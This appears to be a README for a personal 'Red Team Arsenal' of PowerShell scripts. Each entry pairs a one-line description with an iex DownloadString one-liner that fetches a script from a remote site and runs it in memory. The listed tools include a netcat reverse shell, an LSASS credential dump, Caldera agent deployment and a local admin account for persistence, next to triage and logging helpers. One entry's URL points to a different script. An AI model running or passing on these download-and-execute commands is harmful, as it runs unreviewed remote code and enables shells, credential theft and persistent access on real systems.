Red Team Arsenal

Scripts that I created for my own usage.

bootstrap.ps1

Downloads necessary installation packages for CyberPipe and runs it, creates .vhdx file of the target.

iex (New-Object Net.WebClient).DownloadString('https://arsenal.dheenaxe.com/bootstrap.ps1')

transfer.ps1

Automatically finds .vhdx file in the determined destination path and sends it to FTP server.

iex (New-Object Net.WebClient).DownloadString('https://arsenal.dheenaxe.com/transfer.ps1')

cekmece.ps1

Triage tools with little automation.

iex (New-Object Net.WebClient).DownloadString('https://arsenal.dheenaxe.com/cekmece.ps1')

inspedefe.ps1

String search tool inspired by Didier Stevens's PDFiD.

iex (New-Object Net.WebClient).DownloadString('https://arsenal.dheenaxe.com/inspedefe.ps1')

korktunmu.ps1

Python and PIP installation using Chocolatey.

iex (New-Object Net.WebClient).DownloadString('https://arsenal.dheenaxe.com/korktunmu.ps1')

olegunnar.ps1

Glue to use ole-tools.

iex (New-Object Net.WebClient).DownloadString('https://arsenal.dheenaxe.com/korktunmu.ps1')

godhand.ps1

Simple reverse shell with netcat without obfuscation.

iex (New-Object Net.WebClient).DownloadString('https://arsenal.dheenaxe.com/godhand.ps1')

macaron.ps1

Loudest LSASS dump ever.

iex (New-Object Net.WebClient).DownloadString('https://arsenal.dheenaxe.com/macaron.ps1')

nese.ps1

Enables advanced audit policies and PowerShell logging for detailed monitoring.

iex (New-Object Net.WebClient).DownloadString('https://arsenal.dheenaxe.com/nese.ps1')

lumpen.ps1

Performs a scan of all running processes and scheduled tasks.

iex (New-Object Net.WebClient).DownloadString('https://arsenal.dheenaxe.com/lumpen.ps1')

paradise.ps1

Caldera agent deployment via PowerShell.

iex (New-Object Net.WebClient).DownloadString('https://arsenal.dheenaxe.com/paradise.ps1')

madraseye.ps1

Windows Firewall Rule Management.

iex (New-Object Net.WebClient).DownloadString('https://arsenal.dheenaxe.com/madraseye.ps1')

perkande.ps1

Local admin user creation for persistency.

iex (New-Object Net.WebClient).DownloadString('https://arsenal.dheenaxe.com/perkande.ps1')